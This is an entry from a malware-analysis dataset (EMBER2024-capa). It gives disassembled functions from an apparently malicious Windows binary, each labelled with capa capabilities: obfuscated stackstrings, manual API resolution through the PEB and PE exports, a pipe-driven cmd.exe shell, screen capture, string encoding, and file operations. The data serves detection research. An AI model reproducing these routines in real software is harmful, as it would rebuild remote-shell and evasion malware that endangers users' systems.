joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414ac0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x54
mov al, 0x72
push ebx
mov byte [esp + 0x30], al
mov byte [esp + 0x41], al
mov byte [esp + 0x42], al
mov byte [esp + 0x48], al
mov byte [esp + 0x53], al
mov byte [esp + 0x55], al
mov al, 0x7a
mov bl, 0x5c
mov cl, 0x6f
mov byte [esp + 0x10], al
mov byte [esp + 0x18], al
mov byte [esp + 0x2c], bl
mov byte [esp + 0x31], cl
mov byte [esp + 0x33], cl
mov byte [esp + 0x36], bl
mov byte [esp + 0x3b], cl
mov byte [esp + 0x3e], bl
mov byte [esp + 0x4b], cl
mov byte [esp + 0x4d], bl
mov byte [esp + 0x52], cl
lea eax, [esp + 8]
mov dl, 0x65
mov bl, 0x6c
lea ecx, [esp + 4]
push eax
mov dword [esp + 8], 0
mov dword [esp + 0xc], 4
mov byte [esp + 0x28], 0x53
mov byte [esp + 0x29], 0x4f
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x54
mov byte [esp + 0x2c], 0x57
mov byte [esp + 0x2d], 0x41
mov byte [esp + 0x2e], 0x52
mov byte [esp + 0x2f], 0x45
mov byte [esp + 0x31], 0x4d
mov byte [esp + 0x32], 0x69
mov byte [esp + 0x33], 0x63
mov byte [esp + 0x36], 0x73
mov byte [esp + 0x38], 0x66
mov byte [esp + 0x39], 0x74
mov byte [esp + 0x3b], 0x57
mov byte [esp + 0x3c], 0x69
mov byte [esp + 0x3d], 0x6e
mov byte [esp + 0x3e], 0x64
mov byte [esp + 0x40], 0x77
mov byte [esp + 0x41], 0x73
mov byte [esp + 0x43], 0x43
mov byte [esp + 0x44], 0x75
mov byte [esp + 0x47], dl
mov byte [esp + 0x48], 0x6e
mov byte [esp + 0x49], 0x74
mov byte [esp + 0x4a], 0x56
mov byte [esp + 0x4b], dl
mov byte [esp + 0x4d], 0x73
mov byte [esp + 0x4e], 0x69
mov byte [esp + 0x50], 0x6e
mov byte [esp + 0x52], 0x45
mov byte [esp + 0x53], 0x78
mov byte [esp + 0x54], 0x70
mov byte [esp + 0x55], bl
mov byte [esp + 0x58], dl
mov byte [esp + 0x5a], 0
mov byte [esp + 0x15], 0x57
mov byte [esp + 0x16], bl
mov byte [esp + 0x17], 0x4e
mov byte [esp + 0x18], 0x77
mov byte [esp + 0x19], 0x51
mov byte [esp + 0x1a], 0x64
mov byte [esp + 0x1b], 0x53
mov byte [esp + 0x1d], 0x54
mov byte [esp + 0x1e], 0x70
mov byte [esp + 0x1f], 0x55
mov byte [esp + 0x20], 0x61
mov byte [esp + 0x21], 0x50
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], 0x57
mov byte [esp + 0x24], 0
push ecx
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x30]
push eax
push ecx
push SysReAllocString
call dword [0x43bc74]
mov eax, dword [esp + 4]
xor edx, edx
cmp eax, 1
pop ebx
sete dl
mov dword [0x438d38], edx
add esp, 0x54
ret
Function at 0x417430
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2bc
push ebx
push esi
push edi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x30]
rep stosd dword es:[edi], eax
mov al, byte [esp + 0x2cc]
lea ecx, [esp + 0x30]
mov bl, 0x32
push ecx
mov byte [esp + 0x34], bl
mov byte [esp + 0x64], al
call dword [0x43bc7c]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x30]
mov dl, byte [esp + 0x2cc]
rep stosd dword es:[edi], eax
mov edi, str.
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x60], dl
lea edx, [esp + 0x3a]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
mov byte [esp + 0x30], 0x33
lea edx, [esp + 0x30]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x74]
mov word [esp + 0x3c], 0x258
mov dword [esp + 0x38], ecx
call dword [0x43bc7c]
test al, al
jne 0x4175b8
mov al, 0x58
mov cl, 0x30
mov dl, 0x25
mov byte [esp + 0x14], al
mov byte [esp + 0x19], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x23], al
mov byte [esp + 0x28], al
mov byte [esp + 0x2d], al
mov eax, dword [esp + 0x75]
mov byte [esp + 0x12], cl
mov byte [esp + 0x17], cl
mov byte [esp + 0x1c], cl
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x2b], cl
mov ecx, dword [esp + 0x74]
mov byte [esp + 0x11], dl
mov byte [esp + 0x16], dl
mov byte [esp + 0x1b], dl
mov byte [esp + 0x20], dl
mov byte [esp + 0x25], dl
mov byte [esp + 0x2a], dl
mov edx, dword [esp + 0x73]
and eax, 0xff
and ecx, 0xff
push eax
mov eax, dword [esp + 0x76]
and edx, 0xff
push ecx
mov ecx, dword [esp + 0x79]
push edx
mov edx, dword [esp + 0x7c]
and eax, 0xff
and ecx, 0xff
push eax
and edx, 0xff
push ecx
mov ecx, dword [esp + 0x2e4]
lea eax, [esp + 0x20]
push edx
push eax
push ecx
mov byte [esp + 0x2c], 0x6d
mov byte [esp + 0x2d], 0x61
mov byte [esp + 0x2e], 0x63
mov byte [esp + 0x2f], 0x3a
mov byte [esp + 0x30], 0x20
mov byte [esp + 0x33], bl
mov byte [esp + 0x35], 0x3a
mov byte [esp + 0x38], bl
mov byte [esp + 0x3a], 0x3a
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3f], 0x3a
mov byte [esp + 0x42], bl
mov byte [esp + 0x44], 0x3a
mov byte [esp + 0x47], bl
mov byte [esp + 0x49], 0x3a
mov byte [esp + 0x4c], bl
mov byte [esp + 0x4e], 0
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x20
pop edi
pop esi
pop ebx
add esp, 0x2bc
ret
Function at 0x417cf0
Capabilities:
Get disk information
Query environment variable

Disassembly:
mov eax, 0x1c4c
call fcn.00431220
mov al, 0x72
push esi
mov byte [esp + 0xb], al
mov byte [esp + 0xd], al
lea eax, [esp + 8]
push edi
mov cl, 0x65
push eax
mov dword [esp + 0x1c], 0
mov byte [esp + 0x10], 0x75
mov byte [esp + 0x11], 0x73
mov byte [esp + 0x12], cl
mov byte [esp + 0x14], 0x70
mov byte [esp + 0x16], 0x6f
mov byte [esp + 0x17], 0x66
mov byte [esp + 0x18], 0x69
mov byte [esp + 0x19], 0x6c
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], 0
call dword [sym.imp.MSVCRT.dll_getenv]
mov edx, eax
mov ecx, 0xc
xor eax, eax
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
add esp, 4
test edx, edx
stosw word es:[edi], ax
je 0x417d97
push 0x5c
push edx
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
je 0x417d97
lea edi, [eax + 1]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x20]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x454]
lea edx, [esp + 0x454]
rep stosd dword es:[edi], eax
lea ecx, [esp + 8]
mov esi, 0x400
push ecx
push edx
mov dword [esp + 0x10], esi
call fcn.004176f0
mov eax, dword [esp + 0x10]
add esp, 8
test eax, eax
jne 0x417df6
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x454]
mov dword [esp + 8], esi
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x454]
push eax
push ecx
call fcn.004175d0
add esp, 8
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x54]
lea edx, [esp + 0x54]
rep stosd dword es:[edi], eax
push edx
call fcn.00406450
lea edi, [esp + 0x58]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
mov eax, dword [esp + 8]
pop edi
not ecx
dec ecx
cmp eax, 0xa
pop esi
jle 0x417e6b
cmp ecx, 0xa
jle 0x417ea5
lea eax, [esp + 0x18]
lea ecx, [esp + 0x4c]
push eax
lea edx, [esp + 0x450]
push ecx
push edx
lea eax, [esp + 0x858]
push str._s_s_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea ecx, [esp + 0x860]
push eax
push ecx
call fcn.004176d0
add esp, 0x1c
add esp, 0x1c4c
ret
cmp ecx, 0xa
jle 0x417ea5
lea edx, [esp + 0x18]
lea eax, [esp + 0x4c]
push edx
push eax
lea ecx, [esp + 0x854]
push 0x437884
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [esp + 0x85c]
push eax
push edx
call fcn.004176d0
add esp, 0x18
add esp, 0x1c4c
ret
push 0x43
lea eax, [esp + 0x18]
push str._c:_
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push 0
push 0
push 0
push 0
push ecx
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [esp + 0x10]
add esp, 0x1c4c
ret
Function at 0x4191c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
xor edx, edx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov esi, dword [eax + 0x18]
mov ecx, dword [eax + 0x24]
mov ebp, dword [eax + 0x20]
mov eax, dword [eax + 0x1c]
add ecx, edi
add ebp, edi
add eax, edi
mov dword [esp + 0x1c], esi
test esi, esi
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
jle 0x41923a
mov eax, dword [ebp]
mov esi, dword [esp + 0x20]
add eax, edi
mov bl, byte [eax]
mov cl, bl
cmp bl, byte [esi]
jne 0x419225
test cl, cl
je 0x419221
mov bl, byte [eax + 1]
mov cl, bl
cmp bl, byte [esi + 1]
jne 0x419225
add eax, 2
add esi, 2
test cl, cl
jne 0x419201
xor eax, eax
jmp 0x41922a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x419246
mov eax, dword [esp + 0x1c]
add ebp, 4
inc edx
cmp edx, eax
jl 0x4191f8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 8
mov eax, dword [esp + 0x10]
xor ecx, ecx
mov cx, word [eax + edx*2]
mov edx, dword [esp + 0x14]
mov eax, dword [edx + ecx*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8

Function at 0x4192e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
xor eax, eax
push ebx
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
nop
push eax
nop
push ebx
mov eax, dword fs:[0x30]
nop
nop
mov eax, dword [eax + 0xc]
nop
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
nop
nop
mov ebx, dword [eax + 8]
nop
mov dword [ebp - 4], ebx
nop
nop
nop
mov eax, dword [eax]
mov eax, dword [eax + 8]
nop
mov dword [ebp - 8], eax
nop
pop ebx
nop
pop eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
pop ebx
mov dword [eax], ecx
mov eax, dword [ebp - 8]
mov dword [edx], eax
mov esp, ebp
pop ebp
ret 8
Function at 0x41ccd0
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x2804
call fcn.00431220
mov eax, dword [esp + 0x280c]
mov ecx, dword [esp + 0x2808]
push ebx
push ebp
push esi
push edi
push 0
push 0x4000000
push 0
push 0
push eax
push ecx
call dword [0x43bc70]
mov edi, eax
test edi, edi
jne 0x41cd10
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2804
ret
mov edx, dword [esp + 0x2820]
push 0x437868
push edx
call dword [sym.imp.MSVCRT.dll__wfopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x41cd40
push edi
call dword [0x43bc6c]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2804
ret
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebp, dword [sym.imp.MSVCRT.dll_fwrite]
push 0x64
call ebx
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push 0x2800
push ecx
push edi
call dword [0x43bc68]
test eax, eax
je 0x41cd82
mov eax, dword [esp + 0x10]
push esi
test eax, eax
je 0x41cda0
push eax
lea edx, [esp + 0x1c]
push 1
push edx
call ebp
add esp, 0x10
jmp 0x41cd4c
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push edi
call dword [0x43bc6c]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2804
ret
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push edi
call dword [0x43bc6c]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2804
ret
Function at 0x41d0f0
Capabilities:
Create pipe
Create thread
Create two anonymous pipes
Get common file path

Disassembly:
sub esp, 0x2ac
push ebx
push ebp
push esi
mov esi, ecx
push edi
cmp dword [esi], 0
je 0x41d118
mov eax, dword [esi + 4]
test eax, eax
je 0x41d118
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2ac
ret
lea eax, [esp + 0x10]
push 0
lea edi, [esi + 8]
push eax
mov ebx, 0xc
mov ebp, 1
push esi
push edi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], ebp
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x41d2d0
mov dword [esp + 0x10], ebx
lea ecx, [esp + 0x10]
mov dword [esp + 0x18], ebp
lea ebx, [esi + 0xc]
push 0
lea ebp, [esi + 4]
push ecx
push ebx
push ebp
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x41d1ac
mov edx, dword [edi]
push edx
call fcn.00419150
mov ecx, eax
call fcn.0041b350
mov eax, dword [esi]
push eax
call fcn.00419150
mov ecx, eax
call fcn.0041b350
mov dword [edi], 0
mov dword [esi], 0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2ac
ret
lea ecx, [esp + 0x20]
mov dword [esp + 0x20], 0x44
push ecx
call fcn.00419150
mov ecx, eax
call fcn.0041b5d0
mov eax, dword [ebx]
mov edx, dword [edi]
mov dword [esp + 0x60], eax
mov dword [esp + 0x5c], eax
lea eax, [esp + 0x64]
push 0x105
push eax
mov dword [esp + 0x54], 0x101
mov dword [esp + 0x60], edx
mov word [esp + 0x58], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [esp + 0x64]
push str.cmd.exe
push ecx
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 8
lea edx, [esi + 0x10]
lea eax, [esp + 0x20]
lea ecx, [esp + 0x64]
push edx
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push 0
push ecx
call fcn.00419150
mov ecx, eax
call fcn.0041b270
test eax, eax
je 0x41d27a
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push edx
push 0
push esi
push 0x41d9b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call fcn.00419150
mov ecx, eax
call fcn.0041b350
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2ac
ret
mov eax, dword [edi]
push eax
call fcn.00419150
mov ecx, eax
call fcn.0041b350
mov ecx, dword [esi]
push ecx
call fcn.00419150
mov ecx, eax
call fcn.0041b350
mov edx, dword [ebx]
mov dword [edi], 0
push edx
mov dword [esi], 0
call fcn.00419150
mov ecx, eax
call fcn.0041b350
mov eax, dword [ebp]
push eax
call fcn.00419150
mov ecx, eax
call fcn.0041b350
mov dword [ebx], 0
mov dword [ebp], 0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2ac
ret
Function at 0x41d2e0
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, dword [esi]
mov dword [esp + 8], edi
cmp eax, edi
je 0x41d305
lea ecx, [esp + 8]
push edi
push ecx
push 6
push str.exit_r_n
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x18]
cmp eax, edi
jbe 0x41d323
push eax
call fcn.0041c170
add esp, 4
mov dword [esi + 0x18], edi
mov eax, dword [esi + 8]
cmp eax, edi
je 0x41d33a
push eax
call fcn.00419150
mov ecx, eax
call fcn.0041b350
mov dword [esi + 8], edi
mov eax, dword [esi]
cmp eax, edi
je 0x41d34f
push eax
call fcn.00419150
mov ecx, eax
call fcn.0041b350
mov dword [esi], edi
mov eax, dword [esi + 0xc]
cmp eax, edi
je 0x41d366
push eax
call fcn.00419150
mov ecx, eax
call fcn.0041b350
mov dword [esi + 0xc], edi
mov eax, dword [esi + 4]
cmp eax, edi
je 0x41d37d
push eax
call fcn.00419150
mov ecx, eax
call fcn.0041b350
mov dword [esi + 4], edi
pop edi
pop esi
pop ecx
ret

Function at 0x41d600
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], 0
call fcn.0041d0f0
test eax, eax
je 0x41d708
mov edi, dword [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
add esi, 0x64
lea ebp, [esi + esi]
push ebp
call sub.MFC42.DLL_operatornew
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
push ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x28]
push eax
call fcn.00410980
add esp, 0x10
test eax, eax
jle 0x41d6ff
push esi
call sub.MFC42.DLL_operatornew
mov ecx, esi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
push esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
push ebx
rep stosb byte es:[edi], al
call fcn.00410a10
add esp, 0x10
test eax, eax
push ebx
jg 0x41d6ad
call sub.MFC42.DLL_operatordelete
push ebp
call sub.MFC42.DLL_operatordelete
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 4
call sub.MFC42.DLL_operatordelete
push esi
call sub.MFC42.DLL_operatornew
mov ecx, esi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
add esp, 8
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
push str._s_r_n
rep stosb byte es:[edi], al
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
push ebp
mov esi, eax
call sub.MFC42.DLL_operatordelete
mov ecx, dword [esp + 0x24]
add esp, 0x10
lea eax, [esp + 0x10]
mov edx, dword [ecx]
push 0
push eax
push esi
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call sub.MFC42.DLL_operatordelete
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 4
Function at 0x41f940
Capabilities:
Read file on windows

Disassembly:
push 0xffffffffffffffff
push 0x431cbb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x214
mov eax, dword [esp + 0x224]
push ebx
push 0x437878
push eax
mov byte [esp + 0xf], 0
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x41fa73
push ebp
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push 0
push ebx
call edi
push ebx
call dword [sym.imp.MSVCRT.dll_ftell]
push 0
push 0
push ebx
mov esi, eax
call edi
add esp, 0x1c
test esi, esi
jle 0x41fa4c
lea edi, [esi + 1]
push edi
call sub.MFC42.DLL_operatornew
mov ebp, eax
add esp, 4
test ebp, ebp
je 0x41fa4c
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebx
and ecx, 3
push esi
push 1
push ebp
rep stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
cmp eax, esi
jne 0x41fa43
lea ecx, [esp + 0x14]
call fcn.00421220
mov eax, dword [esp + 0x238]
lea ecx, [esp + 0x14]
push eax
push esi
push ebp
mov dword [esp + 0x238], 0
call fcn.004214f0
test eax, eax
je 0x41fa2f
push 0
call dword [sym.imp.MSVCRT.dll_time]
add esp, 4
push eax
push 0x43c0cc
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov byte [esp + 0x13], 1
lea ecx, [esp + 0x14]
mov dword [esp + 0x22c], 0xffffffff
call fcn.00421260
push ebp
call sub.MFC42.DLL_operatordelete
add esp, 4
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
mov al, byte [esp + 0x17]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x214]
mov dword fs:[0], ecx
add esp, 0x220
ret
mov ecx, dword [esp + 0x218]
mov al, byte [esp + 7]
pop ebx
mov dword fs:[0], ecx
add esp, 0x220
ret
Function at 0x420070
Capabilities:
Create thread

Disassembly:
sub esp, 0xa0
push esi
push edi
mov esi, ecx
call fcn.00420930
test eax, eax
jne 0x42018e
mov ecx, 0x27
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov word [esp + 0x32], ax
lea eax, [esp + 0xc]
push eax
push 0xffffffffffffffff
push 0
mov word [esp + 0x3c], 0x9c
call dword [sym.imp.USER32.dll_EnumDisplaySettingsA]
test eax, eax
jne 0x4200ba
pop edi
pop esi
add esp, 0xa0
ret
mov ecx, dword [esp + 0x78]
mov edx, dword [esp + 0x7c]
and ecx, 0xfffffffc
mov dword [esi + 0xc], edx
cmp ecx, 0xa00
mov dword [esi + 8], ecx
mov dword [esi + 0x10], ecx
mov dword [esi + 0x14], edx
jbe 0x4200e7
mov dword [esi + 8], 0xa00
mov dword [esi + 0xc], 0x640
mov eax, dword [esi + 0x30]
imul eax, ecx
shr eax, 3
add eax, 3
shr eax, 2
imul eax, edx
shl eax, 2
push eax
mov dword [esi + 0x20], eax
call sub.MFC42.DLL_operatornew
mov ecx, dword [esi + 0x20]
mov dword [esi + 0x18], eax
push ecx
call sub.MFC42.DLL_operatornew
mov ecx, dword [esi + 0x20]
mov edi, dword [esi + 0x18]
mov edx, ecx
mov dword [esi + 0x1c], eax
xor eax, eax
push 0x467
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [esi + 0x20]
mov edi, dword [esi + 0x1c]
mov edx, ecx
xor eax, eax
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esi + 0x10]
mov dword [esi + 0x38], 1
mov dword [esi + 0x34], eax
mov dword [esi + 0x28], 0x467
call sub.MFC42.DLL_operatornew
add esp, 0xc
mov ecx, esi
mov dword [esi + 0x24], eax
push 1
call fcn.00420920
mov eax, dword [esi + 0x2c]
test eax, eax
jne 0x42018e
lea ecx, [esp + 8]
push ecx
push 0
push esi
push 0x420990
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x2c], eax
pop edi
mov eax, 1
pop esi
add esp, 0xa0
ret
Function at 0x420ff0
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
sub esp, 0x44
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x4c]
push esi
mov esi, dword [esp + 0x4c]
push eax
push 0x437af0
push ecx
push esi
mov byte [esp + 0x14], 0x65
mov byte [esp + 0x15], 0x53
mov byte [esp + 0x16], 0x59
mov byte [esp + 0x17], 0x73
mov byte [esp + 0x18], 0x4e
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], 0x4a
mov byte [esp + 0x1b], 0x48
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1d], 0x6f
mov byte [esp + 0x1e], 0x39
mov byte [esp + 0x1f], 0x41
mov byte [esp + 0x20], 0x35
mov byte [esp + 0x21], 0x79
mov byte [esp + 0x22], 0x4c
mov byte [esp + 0x23], 0x64
mov byte [esp + 0x24], 0x5c
mov byte [esp + 0x25], 0x46
mov byte [esp + 0x26], 0x70
mov byte [esp + 0x27], 0x51
mov byte [esp + 0x28], 0x61
mov byte [esp + 0x29], 0x44
mov byte [esp + 0x2a], 0x71
mov byte [esp + 0x2b], 0x75
mov byte [esp + 0x2c], 0x43
mov byte [esp + 0x2d], 0x76
mov byte [esp + 0x2e], 0x6c
mov byte [esp + 0x2f], 0x54
mov byte [esp + 0x30], 0x36
mov byte [esp + 0x31], 0x47
mov byte [esp + 0x32], 0x4b
mov byte [esp + 0x33], 0x42
mov byte [esp + 0x34], 0x25
mov byte [esp + 0x35], 0x45
mov byte [esp + 0x36], 0x62
mov byte [esp + 0x37], 0x69
mov byte [esp + 0x38], 0x4d
mov byte [esp + 0x39], 0x7a
mov byte [esp + 0x3a], 0x77
mov byte [esp + 0x3b], 0x5a
mov byte [esp + 0x3c], 0x58
mov byte [esp + 0x3d], 0x6e
mov byte [esp + 0x3e], 0x52
mov byte [esp + 0x3f], 0x66
mov byte [esp + 0x40], 0x56
mov byte [esp + 0x41], 0x67
mov byte [esp + 0x42], 0x68
mov byte [esp + 0x43], 0x6a
mov byte [esp + 0x44], 0x6b
mov byte [esp + 0x45], 0x78
mov byte [esp + 0x46], 0x63
mov byte [esp + 0x47], 0x6d
mov byte [esp + 0x48], 0x2e
mov byte [esp + 0x49], 0x31
mov byte [esp + 0x4a], 0x32
mov byte [esp + 0x4b], 0x55
mov byte [esp + 0x4c], 0x57
mov byte [esp + 0x4d], 0x33
mov byte [esp + 0x4e], 0x30
mov byte [esp + 0x4f], 0x34
mov byte [esp + 0x50], 0x49
mov byte [esp + 0x51], 0x4f
mov byte [esp + 0x52], 0x50
mov byte [esp + 0x53], 0x37
mov byte [esp + 0x54], 0x38
call dword [sym.imp.MSVCRT.dll__snprintf]
mov al, byte [esi]
add esp, 0x10
test al, al
je 0x421191
push edi
mov ecx, esi
mov dl, byte [ecx]
xor eax, eax
cmp dl, byte [esp + eax + 8]
je 0x421171
inc eax
cmp eax, 0x41
jb 0x421163
jmp 0x421181
inc eax
xor edx, edx
mov edi, 0x41
div edi
mov dl, byte [esp + edx + 8]
mov byte [ecx], dl
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x42115f
pop edi
mov eax, esi
pop esi
add esp, 0x44
ret
mov eax, esi
pop esi
add esp, 0x44
ret
Function at 0x421270
Capabilities:
Create directory

Disassembly:
sub esp, 0x24c
push ebx
mov ebx, dword [esp + 0x254]
push esi
mov esi, ecx
test ebx, ebx
jne 0x421292
pop esi
xor eax, eax
pop ebx
add esp, 0x24c
ret 4
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x154]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x154]
push eax
push 0x104
call fcn.00419150
mov ecx, eax
call fcn.0041b3c0
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x50]
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [esp + 0x54]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x158]
push ecx
push 0x437884
push edx
call ebx
lea eax, [esp + 0x60]
push 0
push eax
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x18
test eax, eax
je 0x421306
lea ecx, [esp + 0x50]
push ecx
call dword [sym.imp.MSVCRT.dll__mkdir]
add esp, 4
add esi, 4
mov ecx, 0x41
xor eax, eax
mov edi, esi
lea edx, [esp + 0xc]
rep stosd dword es:[edi], eax
push edx
call fcn.00419150
mov ecx, eax
call fcn.0041b100
call dword [sym.imp.MSVCRT.dll_rand]
mov ecx, dword [esp + 0x16]
mov edx, dword [esp + 0x14]
push eax
mov eax, dword [esp + 0x1c]
and eax, 0xffff
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x1a]
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x1a]
push edx
mov edx, dword [esp + 0x1c]
and eax, 0xffff
and ecx, 0xffff
push eax
and edx, 0xffff
push ecx
lea eax, [esp + 0x68]
push edx
push eax
push str.BYdB30LB31LB31LB31LB31LB31L_B37kmHcF
lea ecx, [esp + 0x40]
push 0x32
push ecx
call fcn.00420ff0
add esp, 0xc
push eax
push esi
call ebx
add esp, 0x28
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x24c
ret 4